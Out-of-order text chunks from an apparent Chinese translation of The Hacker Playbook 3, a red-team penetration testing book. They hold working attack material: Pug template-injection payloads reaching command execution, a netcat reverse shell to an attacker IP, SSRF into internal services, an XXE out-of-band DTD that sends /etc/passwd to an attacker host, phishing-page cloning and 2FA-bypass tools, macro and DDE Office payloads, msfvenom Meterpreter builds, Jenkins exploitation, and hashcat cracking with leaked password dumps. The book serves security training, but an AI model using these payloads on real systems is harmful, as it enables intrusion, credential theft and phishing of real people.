    {"text": "参考文献： https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/ https://github.com/luin/serialize https://snyk.io/test/npm/node-serialize?severity=high&severity=medium&severity=low https://blog.websecurify.com/2017/02/hacking-node-serialize.html 模板引擎攻击——模板注入 模板引擎由于其模块化和简洁的代码与标准 HTML 相比而被更频繁地使用。"},
    {"text": "与 Pug 交互： 转到 http://chat:3000 并使用任何有效帐户登录 转到 http://chat:3000/directmessage 并输入用户和评论以及“发送”，接下来，返回 Direct Message 页面并尝试将 XSS payload 输入到用户参数 <script>alert(1)</script> http://chat:3000/ti?user=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&comment 这表明应用程序容易受到 XSS 的攻击，但我们可以与模板系统进行交互吗？"},
    {"text": "在 Burp 历史记录中，查看服务器请 request/response 的响应 /ti?user= ，并将请求发送到 Burp Repeater（ctrl+r） 测试基本操作 我们可以通过将它传递给算术字符串来测试模板注入的 XSS 易受攻击参数。"},
    {"text": "我们可以看到它没有用，我们没有得到81，请记住，我们的用户输入包含在段落标记内，所以我们可以假设我们的 Pug 模板代码看起来像这样： p Message has been sent to !{user} 利用 Pug 的特点： 正如我们之前所说，Pug 是空格分隔的（类似于 Python），换行符开始一个新的模板输入，这意味着如果我们可以突破 Pug 中的当前行，我们可以执行新的模板代码。"},
    {"text": "这可以使用以下字符完成： %0a new line 其次，我们可以通过使用“=”符号来利用 Pug 中的算术函数 %3d%编码“=”符号 最后，我们可以输入我们的数学方程式 9*9数学方程式 因此，最终 payload 将如下所示： [newline]=9*9 URL 编码： GET /ti?user=%0a%3d9*9&comment=&link= GET /ti?user=%0a%3d9*9 在响应正文中给出了81。"},
    {"text": "我们将从访问全局根开始： [new line]=global 使用 Burp 的解码器工具将上述表达式编码为 URL 编码，可以得到：%0a%3d%20%67%6c%6f%62%61%6c 使用上面的 URL 编码字符串作为用户值并重新发送。"},
    {"text": "记住换行符（%0a）和空格（%20）： each val,index in global p=index URL 编码： %0a%65%61%63%68%20%76%61%6c%2c%69%6e%64%65%78%2 在上面的例子中，我们使用‘each’迭代器，它可以访问一个值，并且如果我们指定了数组或对象，也可以选择访问索引。"},
    {"text": "接下来，我们需要识别我们在 global.process 中可以访问的有趣对象： each val,index in global.process p=index URL 编码： %0a%65%61%63%68%20%76%61%6c%2c%69%6e%64%65%7 我们从所有可用的方法中选择“process”，因为我们知道它最终会导致‘require’。 你可以通过选择不同的迭代方法来尝试尝试和错误过程： each val,index in global.process.mainModule p = index URL 编码： %0a%65%61%63%68%20%76%61%6c%2c%69%6e%64%65%78%2 远程执行代码： 发送此最终 payload ，我们应该在 global.process.mainModule 中看到“require”函数。 我们现在可以将其设置为使用.exec 导入‘child_process’以获取 RCE： var x = global.process.mainModule.require x('child_process').exec('cat / etc / passwd >>/opt/web/chatSupportSystems/public/accounts.txt') URL 编码： %0a%2d%20%76%61%72%20%78%20%3d%20%67%6c%6f%6 在上面的例子中，我们像在 JavaScript 中一样定义变量“x”，但行开头的破折号表示无缓冲输出（隐藏）。"},
    {"text": "有一个类似 SQLmap 的名为 Tplmap 的工具，它可以尝试模板注入的所有不同组合： cd /opt/tplmap ./tplmap.py -u \" http://chat:3000/ti?user=*&comment=asdfasdf&link= \" 参考： http://blog.portswigger.net/2015/08/server-side-template-injection.html https://hawkinsecurity.com/2017/12/13/rce-via-spring-engine-ssti/ JavaScript 和远程代码执行 远程代码执行是我们在每次入侵和 Web 应用程序渗透测试中必须寻找的。"},
    {"text": "虽然 RCE 几乎可能在任何地方找到，但它们最常见于允许上传的地方，例如：上传 web shell，一个像 Imagetragick 这样的漏洞利用，使用 Office 文件进行 XXE 攻击，基于遍历的目录上传以替换关键文件等。"},
    {"text": "回到我们之前使用的简单示例： 首先，为 require 模块分配一个变量 -var x = global.process.mainModule.require 使用子进程模块使我们能够通过运行任何系统命令来访问操作系统功能： -x('child_process').exec('nc [Your_IP] 8888 -e /bin/bash') RCE 上传攻击： 转到 http://chat:3000 并使用任何有效帐户登录 使用以下信息上传文本文件。"},
    {"text": "此代码将使 Web 服务器连接到在端口8888上 [Your_IP] 上运行的监听器，并允许我们在 Web 服务器上运行 shell。 在攻击者计算机上，启动 shell 的 netcat 侦听器以连接回 nc -l -p 8888 我们通过在 /drouting 上运行端点来激活代码。"},
    {"text": "我们使用目录遍历“../”来返回上一个目录，以便能够进入包含我们的恶意文件的 uploads 文件夹： /drouting?filename=../uploads/[你的文件哈希] 回到你的终端监听 8888 端口并在你的 shell 里操作吧！"},
    {"text": "服务器端请求伪造（SSRF） 服务器端请求伪造（SSRF）是我认为通常被误解的漏洞之一，并且在术语方面，经常与跨站点请求伪造（CSRF）混淆。"},
    {"text": "接下来发生的事情是服务器会创建一个全新的请求，转到 Imgur 站点，抓取图像（它可能会执行一些图像操作来调整图像-图像跟踪任何人的大小？"},
    {"text": "如你所见，我们提供了一个 URL，服务器获取该 URL 并抓取图像，并将其上传到其数据库。 我们提供了最初的 Web 应用程序的 URL，以从外部资源中获取我们的个人资料图片。"},
    {"text": "如果我们确实得到完整的 HTTP 请求/响应，并且我们可以在本地对8080端口发出 GET 请求，那么如果我们发现了一个易受攻击的 Jenkins 或 Apache Tomcat 服务会发生什么？"},
    {"text": "SSRF 漏洞允许你可以执行以下操作： 在回环接口上访问服务 扫描内部网络和与这些服务的潜在交互方式（GET/POST/HEAD） 使用 FILE:// 读取服务器上的本地文件 使用 AWS Rest 接口（ http://bit.ly/2ELv5zZ ） 横向移动到内部环境中 在我们的下图中，我们发现 Web 应用程序上存在易受攻击的 SSRF，允许我们利用此漏洞： 让我们来看一个现实中的例子： 在你的聊天支持系统（ http://chat:3000/ ）Web 应用程序中，首先确保创建一个帐户并登录。"},
    {"text": "在“链接”文本框中，放入 http://cyberspacekittens.com 等网站，然后单击预览链接。 你现在应该看到 http://cyberspacekittens.com 页面的呈现，但 URI 栏仍应指向我们的聊天应用程序。"},
    {"text": "你的 GET 请求应如下所示： GET/ssrf?user=&comment=&link= http://127.0.0.1 :§3000§HTTP/ 1.1 单击 payload 选项卡，然后选择将 Payload 类型选择为 “Numbers”。"},
    {"text": "如果我们打开浏览器并转到： http://chat:3000/ssrf?user=&comment=&link=http://127.0.0.1:28017 ，我们应该能够利用我们的 SSRF 并获得对 MongoDB Web 界面的访问权限。"},
    {"text": "要访问 serverStatus( http://chat:3000/serverStatus?text=1 )，你必须使用 SSRF 攻击并转到此处： http://chat:3000/ssrf?user=&comment=&link=http://127.0.0.1:28017/serverStatus?text=1 服务器端请求伪造可能非常危险。"},
    {"text": "其他资源： 本地的很多编码： http://www.agarri.fr/docs/AppSecEU15-Server_side_browsing_considered_harmful.pdf Bug Bounty - AirBNB 示例： http://bit.ly/2ELvJxp XML 外部实体攻击（XXE） XML 代表可扩展标记语言，旨在发送/存储易于阅读的数据。 XML eXternal Entities（XXE）是对应用程序中 XML 解析器的攻击。"},
    {"text": "从一个比较高的维度来看，应用程序具有以下需求：1) 解析用户提供的 XML 数据，2) 实体的系统标识符部分必须在文档类型声明(DTD)内，3) XML处理器必须验证/处理 DTD 并解析外部实体。"},
    {"text": "普通 XML 文件 恶意 XML 文件 \\<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?> \\<?xml version=\"1.0\" encoding=\"utf-8\"?> \\ \\<!DOCTYPE test [ \\ Book\\</type> \\<!ENTITY xxe SYSTEM \\ THP\\ \\\"file:///etc/passwd\"> \\ 100\\ ]> \\</Prod> \\ &xxe;\\ 上面，我们有一个普通的 XML 文件和一个专门用来从系统的 /etc/passwd 文件中读取文件的恶意 XML。"},
    {"text": "转到浏览器： 通过 Burp Suite 代理所有流量 转到 URL： http://[IP of your Virtual Machine] 拦截流量并点击 Hack the XML 如果在加载页面后查看页面的 HTML 源代码，你可以看到有一个通过 POST 请求提交的隐藏字段。"},
    {"text": "XML 内容如下所示： <? xml version = \"1.0\" ?> <!DOCTYPE thp [ <!ELEMENT thp ANY> <!ENTITY book \"Universe\"> ]> < thp > Hack The &book; </ thp > 在这个例子中，我们指定它是 XML 1.0版本，DOCTYPE，指定根元素是 thp， !ELEMENT 指定任何类型，并且 !ENTITY 将 book 变量设置为“Universe”字符串。"},
    {"text": "原始 XML 文件 恶意 XML 文件 \\<?xml version=\"1.0\" ?> \\<?xml version=\"1.0\"?> \\<!DOCTYPE thp [ \\<!DOCTYPE thp [ \\<!ELEMENT thp ANY> \\<!ELEMENT thp ANY> \\<!ENTITY book \"Universe\"> \\<!ENTITY book SYSTEM \"file:///etc/passwd\"> ]> ]> \\ Hack The & book;\\ \\ Hack The &book;\\ XXE 实验——阅读文件： 拦截 [你的 VM 的 IP]/xxe.php 的流量包并点击 Hack of XML 将截获的流量包发送到 Repeater 将“data”的 POST 参数修改为以下内容： <?xml version =\"1.0\"?> <!DOCTYPE thp [<!ELEMENT thp ANY> <!ENTITY book SYSTEM \"file:/// etc/passwd\">]> Hack The %26book%3B 请注意， %26 等同于 & ， %3B 等同于 ; 。"},
    {"text": "新的 XXE 攻击将分四个阶段进行： 使用篡改后的 XXE XML 攻击 对于存在漏洞的 XML 解析器，它会从攻击者服务器抓取一个 DTD 文件 该 DTD 文件包含读取 /etc/passwd 文件的代码 该 DTD文件也包含用于隐秘传输 /etc/passwd 内容的代码（可能是经过编码的） 设置我们的攻击者机器和 XXE-OOB payload： 我们将指定一个外部 DTD 文件，而不是原始文件读取 < !ENTITY % dtd SYSTEM \" http: //[ Your_IP ]/ payload.dtd \"> %dtd; 新的“数据”POST payload 将如下所示（记得更改 [Your_IP]）： <? xml version= \"1.0\" ?> <!DOCTYPE thp [<!ELEMENT thp ANY ><!ENTITY % dtd SYSTEM \"http://[Your_IP]/payload.dtd\"> %dtd;]> < thp > < error > %26send%3B </ error > </ thp > 我们需要通过创建名为 payload.dtd 的文件在攻击者服务器上托管此 payload gedit /var/www/html/payload.dtd <!ENTITY % file SYSTEM \"file:///etc/passwd\"> <!ENTITY % all \"<!ENTITY send SYSTEM 'http://[Your_IP]:8888/collect=%file;'>\"> %all; 你刚刚创建的 DTD 文件指示易受攻击的服务器读取 /etc/ passwd 然后尝试使用我们的敏感数据向我们的攻击者机器发出 Web 请求。"},
    {"text": "为了确保我们收到响应，我们需要启动 Web 服务器来托管 DTD 文件并设置 NetCat 监听器 nc -l -p 8888 你将遇到“检测到实体引用循环”类型的错误,具体的报错内容大概是：“Detected an entity reference loop in \\ /var/www/html/xxe.php on line \\ 20\"。"},
    {"text": "在使用 PHP 的情况下，我们可以使用 PHP 输入和输出流（ http://php.net/manual/en/wrappers.php.php ）来读取本地文件，并使用 php://filter/read=convert.base64-encode 对它们进行 base64 编码。"},
    {"text": "让我们重启我们的 NetCat 监听器并更改我们的 payload.dtd 文件以使用此功能： <!ENTITY % file SYSTEM \"php://filter/read=convert.base64-encode/resource=file:///etc/passwd\"> <!ENTITY % all \"<!ENTITY send SYSTEM 'http://[Your_IP]:8888/collect=%file;'>\"> %all; 一旦我们重放我们新修改的请求，我们现在就可以看到我们的受害者服务器首先获取并运行了 payload.dtd 文件，然后监听8888端口的 NetCat 处理程序发出二次 Web 请求。"},
    {"text": "更多 XXE payload： https://gist.github.com/staaldraad/01415b990939494879b4 https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/XXE-Fuzzing.txt 本章总结 虽然这只是你可能遇到的所有不同网络攻击的一小部分，但我希望这些案例能打开你的视野，关于更现代的框架（Node.js）是如何引入旧的和新的攻击。"},
    {"text": "Introduction Introduction [译] 渗透测试实战第三版(红队版) 译者： Snowming （雪茗） 时间：北京时间 2019-03-17 本书英文名：The Hacker Playbook 3 阅读及 PDF 下载 在 Github 上阅读本书 PDF 下载 免责声明 @Snowming 纯粹出于学习目的与个人兴趣翻译本书。"},
    {"text": "其中若有不明之处，我跟几位比我从业经验丰富的安全行业朋友进行了讨论，毕竟我资历尚浅，若是因为自己的肤浅理解而误导读者，那可真是我的过错了。"},
    {"text": "译文中所有的链接我自己都点过一遍，虽然我拿到的英文 PDF 有些链接自己都无法访问，但是我尽力还原作者原意，通过网络搜索找到正确链接贴上。"},
    {"text": "阅读建议 先大概理解每一章讲的是什么，比如： 第一章 环境搭建 第二章 信息收集 第三章 web漏洞利用 第四章 内网横向移动和权限提升 ...... 在心里有个这种朴素的目录，能帮助你读完本书后对红队工作流程心中有数。"},
    {"text": "现在针对攻击框架的二次开发基本都是在这么做，思路一致，只是实现方式各有不同，但万变不离其宗，我们依然可以从书中的二次开发思路中获得一些启示。"},
    {"text": "我从本书中作者的循循善诱中学到了很多，作者不仅逐步深入，还会跟我们讲为什么编程能力对安全人员很重要、为什么我们需要理解底层......我相信如果你认真读了，你会跟我一样收获颇多。"},
    {"text": "感谢以下的小伙伴帮我提供校对支持： 哈姆太郎 匿名jack Victor Zhu 鶇 leitbogioro 也感谢以下的小伙伴愿意跟我讨论书上的问题： 鶇 哈姆太郎 匿名jack googu0 在此对你们提供的帮助表示真诚的谢意。"},
    {"text": "第5章 助攻——社会工程学攻击 第5章 助攻——社会工程学攻击 第5章 助攻——社会工程学攻击 译者： @Snowming 开始社会工程学攻击行动 作为红队队员，我们钟爱社会工程学攻击。"},
    {"text": "译者注: 这里提到的低技能攻击， 原文是 low skillset attacks，我的理解是无需太多技能的攻击，比如踩点、垃圾收集...... 在衡量的指标方面，我们一般用捕捉到的明显的信息，例如发送的电子邮件数量、点击了钓鱼链接的用户数量以及键入密码的用户数量。"},
    {"text": "在上一本书中，我们举了一个例子，如果我们的目标公司有 mail.cyberspacekittens.com 这个域名，我们将购买 mailcyberspacekittens.com 这个域名，并设置一个假的 Outlook 页面来获取登录凭证。"},
    {"text": "配置 SET: 将 SET 配置为使用 Apache（而不是默认的 Python ） 将配置文件按照以下内容修改： gedit /etc/setoolkit/set.config APACHE_SERVER=ON APACHE_DIRECTORY=/var/www/html HARVESTER_LOG=/var/www/html 启动 SET: cd /opt/social-engineer-toolkit setoolkit (1) Spear-Phishing Attack Vectors （鱼叉式钓鱼攻击） (2) Website Attack Vectors（网站攻击） (3) Credential Harvester Attack Method （凭证收集攻击方法） (4) Site Cloner（站点克隆器） 输入你的攻击服务器的 IP 克隆目标站点 打开浏览器，转到攻击服务器并测试 所有文件都会被储存在 /var/www/html 文件夹下，密码存储在 Harvester* 下。"},
    {"text": "下面是社工活动中克隆页面时的一些比较好的做法： 搭配使用 Apache 服务器 + SSL 把所有图像和资源移到本地（而不是从被克隆的站点调用） 就我个人而言，我喜欢使用我的 PGP 公钥来存储所有记录的密码。"},
    {"text": "使用双因素验证的身份凭证 我们看到越来越多的客户使用双因素认证（2FA），对于红队来说双因素认证是一个巨大的麻烦，因为它们不可能被随意绕开。"},
    {"text": "你可以在 FireEye 公司的网站上找到更多关于 ReelPhish 的信息： https://www.fireeye.com/blog/threat-research/2018/02/reelphish-real-time-two-factor-phishing-tool.html 。"},
    {"text": "还有一些其他工具可以处理不同的双因素验证绕过的情境： https://github.com/kgretzky/evilginx https://github.com/ustayready/CredSniper 还有一件事，当对需要双因素认证的网络资源进行身份验证时，请确保你在得到身份凭据后要尝试使用多种不同的身份验证方法。 我的意思是，一些产品可能在 Web 门户网站的身份验证页面使用了双因素验证，但在 API、旧的客户端或所有的应用程序终端上可能并没有使用双因素验证。"},
    {"text": "利用受害者恐惧和紧迫心理进行攻击的一些例子包括： 一封带有欺诈性购买的虚假电子邮件 有人黑进了你的电子邮件消息 有关税务欺诈的电子邮件 这些一般性攻击的问题是，我们已经注意到公司员工变得越来越聪明。"},
    {"text": "例如，如果我们对受害者的邮件记录进行了一些侦察，了解到客户使用 Office365 ，那么我们就可以思考一下如何利用这个信息来策划一场具有高可行度的入侵行动。"},
    {"text": "此外，我们还试图寻找该公司泄露信息的电子邮件，从中来捕捉任何其他可能有帮助的信息，包括他们可能正在运行的程序、新的特性、系统升级、代码合并等等。"},
    {"text": "在最基础的水平上，我们可以使用 Empire 或 Unicorn 来创建一个 VBA 宏： 使用 Empire: 选择 Macro Stager usestager windows/macro 确保进行正确的配置 info 创建宏 generate 如果你想为 Meterpreter 创建一个 payload ，我们可以使用像 Unicorn 这样的工具: cd /opt/unicorn ./unicorn.py windows/meterpreter/reverse_https [your_ip] 443 macro 启动一个 Metasploit Handler msfconsole -r ./unicorn.rc 一旦生成成功，你的 payload 将如下所示： 如你所见，这是运行一个简单的 PowerShell base64 混淆脚本。"},
    {"text": "生成宏后，你可以快速创建一个 Excel 文档： 打开 Excel 转到视图选项卡(View Tab) - >宏 - >查看宏 添加一个宏名称，为 book1 配置宏，然后单击 “创建” 用生成的代码替换所有当前的宏代码 另存为 .xls（Word 97-2003）或 Excel Macro-Enabled 格式的文件 现在，每当有人打开你的文档时，他们都会收到安全警告并看到一个启用内容的按钮。"},
    {"text": "通过使用 LuckyStrike，我们可以在工作表中使用 Payload 创建 Excel 文档，甚至可以在 Excel 文档中存储完整的可执行文件（exe），这些文件可以用 ReflectivePE 来触发从而在内存中运行。 阅读更多关于 LuckyStrike 的内容： https://www.shellntel.com/blog/2016/9/13/luckystrike-a-database-backed-evil-macro-generator 我想提到的用于 Office 文件执行的最后一个工具是 VBad 。"},
    {"text": "非宏的 Office 文件 —— DDE 有时候红队攻击也是一场与时间赛跑的游戏，虽然有些可以利用的易受攻击模块效果很好，但是如果时间久了，一些杀毒软件或者安全软件已经包含了检测的策略，那么也很难利用，所以有时候一些新发现的漏洞是更好利用的。"},
    {"text": "应用程序可以使用 DDE 协议进行一次性数据传输。 并且应用程序也可以利用 DDE 协议来进行持续的数据交换，当新数据可用时候，应用程序可以通过持续的数据交换来彼此发送更新。"},
    {"text": "” [ https://msdn.microsoft.com/en-us/library/windows/desktop/ms648774(v=vs.85).aspx ] Sensepost 的团队做了一些很棒的研究，发现 MSExcel 和 MSWord 都暴露了 DDEExecute，并且可以在不使用宏的情况下创建代码执行。"},
    {"text": "在 Word 中： 转到“插入”选项卡 -> “快速部件” -> “字段” 选择 = 公式 右键单击：!Unexpected End of Formula 并选择 Toggle Field Codes 将 payload 替换为你的 payload： DDEAUTO c:\\windows\\system32\\cmd.exe “/k powershell.exe [empire payload here]” Empire 有一个 stager ，可以自动创建 Word 文件和关联的 PowerShell 脚本。"},
    {"text": "此 stager 可以通过以下方式配置： usestager windows/macroless_msword 资源： https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/ 除了 0day 漏洞利用（例如 https://github.com/bhdresh/CVE-2017-0199 ）之外，Word 文档中是否还有其他任何能利用的特性呢？"},
    {"text": "第一个工具 EmbededInHTM ，该工具的描述是“ 获取文件（任何类型的文件），加密它，并将其作为资源嵌入到 HTML 文件中，还包含模拟用户点击嵌入资源之后的自动下载进程。"},
    {"text": "” cd /op/EmbedInHTML python embedInHTML.py -k keypasshere -f meterpreter.xll -o index.html -w 一旦受害者访问恶意站点，弹出的窗口会提示受害者在 Excel 中打开我们的 .xll 文件。"},
    {"text": "python demiguise.py -k hello -c “cmd.exe /c ” -p Outlook.Application -o test.hta 利用社会工程学攻破内网 Jenkins 作为红队队员，攻击的创造性使我们的工作非常令人兴奋。"},
    {"text": "例如，如果你一直在进行网络评估，你就会知道，如果遇到未经身份验证的 Jenkins 应用程序（开发人员大量使用它进行持续集成），这几乎意味着它完全敞开在你的面前。"},
    {"text": "我们怎么样才能在这些服务器上远程执行代码? 在我们可以回答这个问题之前，我告诉我的团队先退后一步，用 Jenkins 构建一个副本网络进行测试。"},
    {"text": "现在，我们可以使用我们特制的 Jenkins 漏洞利用通过 Jenkins 默认的8080端口在他们的网络范围内对每一个 IP 发起攻击（这段代码只扫描本地 /24 ，但在一个真实的红队行动中，你可能会想把扫描范围设置的比这个大很多）。"},
    {"text": "为了解决这个问题，我们为本书创建了一个名为 generateJenkinsExploit.py 的工具 ，该工具将获取任何二进制文件，对其进行加密，并构建进行恶意攻击的 JavaScript 页面。"},
    {"text": "当它找到易受攻击的 Jenkins 服务器时，此攻击将发送一个 Groovy 脚本的 payload 来从 internet 上抓取加密的二进制文件，将其解密为一个文件放到 C:\\Users\\Public\\RT.exe 下，并执行 Meterpreter 二进制文件(RT.exe)。"},
    {"text": "下载 Jenkins war 包: http://mirrors.jenkins.io/war-stable/1.651.2/ 启动 Jenkins : java -jar jenkins.war 浏览器打开 Jenkins: http:// :8080/ 测试 Groovy 脚本控制台: http:// :8080/script 在 THP Kali 虚拟机上利用 Jenkins： 译者注:专门为本书开发的集成了所有环境的 Kali 虚拟机，本书第一章有介绍。"},
    {"text": "要执行该实验，我们首先需要创建一个 Meterpreter payload： msfvenom -p windows/meterpreter/reverse_https LHOST=<attacker_IP> LPORT=8080 -f exe > badware.exe 加密我们的 Meterpreter 二进制文件： cd /opt/generateJenkinsExploit python3 ./generateJenkinsExploit.py -e badware.exe 创建我们的恶意 JavaScript 页面命名为 badware.html ： python3 ./generateJenkinsExploit.py -p http://<attacker_IP>/badware.exe.encrypted > badware.html 将加密的二进制和恶意 JavaScript 页面都移动到 Web 目录: mv badware.html /var/www/html/ mv badware.exe.encrypted /var/www/html/ 现在，在完全不同的系统上，你可以使用 Chrome 或 Firefox 浏览器访问你的攻击者网页：http:// /badware.html 。"},
    {"text": "在衡量标准和目标方面，我们需要从消极等待用户、报告钓鱼网页/钓鱼电子邮件等的相关数据这样的反应模型中跳脱出来，转而采用主动模式。"},
    {"text": "第8章 特勤组——破解、漏洞利用和技巧 第8章 特勤组——破解、漏洞利用和技巧 第8章 特勤组——破解、漏洞利用和技巧 译者： @Snowming 校对者： @鶇 、@哈姆太郎、@匿名jack 本章重点介绍了一些我个人发现的对红队和渗透测试都有用的不同资源。"},
    {"text": "我们通常可以编写恶意软件来躲避杀毒软件和绕过初始检测，但是一旦我们开始在内存中调用 Mimikatz 或者进行横向移动到其他主机，我们就会开始触发报警。"},
    {"text": "因为通常情况下，蓝队在发现我们使用的默认/基础恶意软件（或者仅仅进行了轻微的混淆）时就会将此视为胜利，但我们的真正目的是了解他们的环境。"},
    {"text": "使用 RC 脚本自动化运行 Metasploit 对于 Metasploit，我们可以使用以下方法高效地运行我们的后渗透利用脚本： 搜索 Metasploit 中所有的后渗透利用模块： msfconsole show post 从显示的结果中，选择你想要包含的所有模块，以便在接收到一个 Meterpreter Shell 时自动执行。"},
    {"text": "创建处理程序 (Handler) 和 AutoRunScript： 创建处理程序文件 gedit handler.rc 配置处理程序和自动运行脚本 use multi/handler set payload windows/meterpreter/reverse_https set LHOST 10.100.100.9 set LPORT 443 set AutoRunScript post/windows/manage/priv_migrate set ExitOnSession false set EnableStageEncoding true exploit -j 启动处理程序 msfconsole -r handler.rc 自动化运行 Empire Empire 具有与 Metasploit 资源文件类似的功能，可以自动完成许多重复性任务。"},
    {"text": "在一个单独的终端窗口中，创建一个处理程序文件： gedit /opt/empire_autoload.rc 添加所有你想要执行的后渗透模块： usemodule situational_awareness/network/powerview/get_user execute back usermodule situational_awareness/network/powerview/get_computer execute back 在 Empire 中，加载 autoload.rc 资源文件： agents autorun /opt/empire_autoload.rc powershell autorun show 如你所见，当代理连接时，它会自动运行 get_user 和 get_computer 的 PowerShell 脚本。"},
    {"text": "自动化运行 Cobalt Strike Cobalt Strike 如此强大的一个主要原因是因为它有 Aggressor 脚本 。 使用 Cobalt Strike 的 Aggressor 脚本，你不仅可以配置自动运行的脚本，还可以创建非常复杂的攻击。"},
    {"text": "Aggressor 其他脚本集合： https://github.com/bluscreenofjeff/AggressorScripts https://github.com/harleyQu1nn/AggressorScripts 自动化的未来 最后，有一些很酷的项目正朝着自动化，智能入侵和 APT 攻击的方向发展。"},
    {"text": "我认为在发展这种自动化趋势方面具有巨大潜力的两个工具是： Portia Caldera 密码破解 我了解的最新的和最喜欢的密码列表之一是来自最近发现的41 GB 大小的密码脱库，它包含14亿的用户名和密码（ http://bit.ly/2HqbYk8 ）。"},
    {"text": "不过，我不想直接把下载链接展示出来，因为它包含很多敏感的用户名（或电子邮件）和相关密码，但你可以搜索 BreachCompilation.tar.bz2 以查找有关它的更多信息。"},
    {"text": "在我的个人机器上，我使用8块技嘉 GV-N108TTURBO-11GD AORUS GeForce GTX 1080 Ti Turbo 11G 显卡，大约价值12,000美元，你也可以构建自己的一个机器，包括机箱、RAM、电源、SSD 和 GPU。"},
    {"text": "这是八个 GPU 的 hashcat 基准测试： Hashmode: 1000 - NTLM Speed.Dev.#1…..: 59436.3 MH/s (63.16ms) Speed.Dev.#2…..: 58038.3 MH/s (64.70ms) Speed.Dev.#3…..: 59104.4 MH/s (63.55ms) Speed.Dev.#4…..: 59123.0 MH/s (63.52ms) Speed.Dev.#5…..: 58899.7 MH/s (63.74ms) Speed.Dev.#6…..: 59125.8 MH/s (63.51ms) Speed.Dev.#7…..: 59256.3 MH/s (63.36ms) Speed.Dev.#8…..: 59064.5 MH/s (63.56ms) Speed.Dev.#*…..: 472.0 GH/s 对于那些买不起大型 GPU 设备的人来说，还有其他选择。"},
    {"text": "关于如何使用这些 GPU 设置你自己的密码破解服务器，在 Medium 上有一篇很棒的文章： https://medium.com/@iraklis/running-hashcat-v4-0-0-in-amazons-aws-new-p3-16xlarge-instance-e8fab4541e9b 。"},
    {"text": "Hashmode: 1000 - NTLM: Speed.Dev.#1…..: 79294.4 MH/s (33.81ms) Speed.Dev.#2…..: 79376.5 MH/s (33.79ms) Speed.Dev.#3…..: 79135.5 MH/s (33.88ms) Speed.Dev.#4…..: 79051.6 MH/s (33.84ms) Speed.Dev.#5…..: 79030.6 MH/s (33.85ms) Speed.Dev.#6…..: 79395.3 MH/s (33.81ms) Speed.Dev.#7…..: 79079.5 MH/s (33.83ms) Speed.Dev.#8…..: 79350.7 MH/s (33.83ms) Speed.Dev.#*…..: 633.7 GH/s 对于同样的 NTLM 哈希值，使用 TESLA GPU 显卡破解的总速度比使用1080Ti GPU显卡大约快34％。"},
    {"text": "这是一个测试你密码破解技巧的绝佳素材: https://downloads.pwnedpasswords.com/passwords/pwned-passwords-1.0.txt.7z 随着这些 GPU 的破解速度变得越来越快，10个字符以下的密码可以在相对合理的时间范围内进行智能化破解。"},
    {"text": "我最喜欢的密码列表： berzerk0的 Real-Password-WPA 密码列表： 18.6 GB 未压缩 http://bit.ly/2EMs6am berzerk0 的字典风格的列表： 1 GB 未压缩 http://bit.ly/2GXRNus Xato 的千万数量的密码 magnet:?xt=urn:btih:32E50D9656E101F54120ADA3CE73F7A65EC9D5CB Hashes.org https://hashes.org/left.php 几千兆字节，而且每天都在增长 Crackstation 15 GB 未压缩 https://crackstation.net/files/crackstation.txt.gz Weakpass（弱密码） 大量的密码列表 https://weakpass.com/wordlist First20Hours 该项目包含按频率顺序排列的10,000个最常见的英语单词列表，由 Google 的万亿字词数据库的 n-gram 频率分析确定。 https://github.com/cyberspacekittens/google-10000-english SkullSecurity.org 优秀的旧密码列表，如 rockyou，myspace，phpbb https://wiki.skullsecurity.org/Passwords Daniel Miessler 的密码编译 https://github.com/cyberspacekittens/SecLists Adeptus-mechanicus 哈希脱库 http://www.adeptus-mechanicus.com/codex/hashpass/hashpass.php 通过优秀的密码列表组合，我们可以基于列表添加规则来找到更多密码。"},
    {"text": "我们可以使用 KoreLogicRulesAppendYears 规则集，如下所示： cAz”19[0-9][0-9]” Az”19[0-9][0-9]” cAz”20[01][0-9]” Az”20[01][0-9]” 它将在每个密码中添加1949年到2019年的年份字符串。"},
    {"text": "规则： Hashcat Rules https://github.com/hashcat/hashcat/tree/master/rules Kore Rules http://contest-2010.korelogic.com/rules-hashcat.html NSAKEY Rules（我的最爱之一） https://github.com/cyberspacekittens/nsa-rules Praetorian-inc Hob0Rules https://github.com/cyberspacekittens/Hob0Rules NotSoSecure —— 此规则包含上面全部规则 https://github.com/cyberspacekittens/password_cracking_rules 注：NSAKEY Rules、Praetorian-inc Hob0Rules 和 NotSoSecure 是原仓库的 Fork 版本。"},
    {"text": "每个命令执行都将以 hashcat -w 3 -m 1000 -o hashes.cracked ./hashes/cat.txt 开头。 这句命令的意思为： hashcat: 运行 hashcat -w 3: 使用调整的配置文件 -m 1000: 哈希格式是 NTLM -o hashes.cracked: 将结果输出到一个文件中 ./hashes/cat.txt: 我们的哈希存储的地址 因此，每当你看到 [hashcat] 字符串时，请使用此命令替换它： hashcat -w 3 -m 1000 -o hashes.cracked ./hashes/cat.txt 。"},
    {"text": "第一个文件（40GB_Unique_File.txt）是一个3.2GB 的密码文件，运行大约需要9秒： [hashcat] ./lists/40GB_Unique_File.txt 我们可以看到，速度快到即使是这么大的文件，运行也只需要几秒钟。"},
    {"text": "我们将从 RockYou 规则集开始，破解这些 NTLM 哈希值大约需要2分9秒： [hashcat] ./lists/40GB_Unique_File.txt -r ./rules/rockyou-30000.rule 注意：使用3 GB 文件设置的 NSAKEY 规则大约需要7分钟，使用 NotSoSecure 规则集（组合了其他所有规则集的规则集）大约需要20分钟。"},
    {"text": "下面看到的 -a 6 命令会将每个字母/数字/特殊字符添加到密码右侧，从一个字符开始一直到最多四个字符： [hashcat] -i -a 6 ./lists/found.2015.txt ?a?a?a?a 注意：这需要大约30分钟才能完成四个字符 我们也可以在密码列表的左侧添加字符。 以下命令将每个字母/数字/特殊字符添加到密码的左侧，从一个字符开始一直到最多四个字符： [hashcat] -i -a 7 ?a?a?a?a ./lists/40GB_Unique_File.txt 注意：这需要大约30分钟才能完成四个字符 Hashcat Utils： https://github.com/hashcat/hashcat-utils/releases 。"},
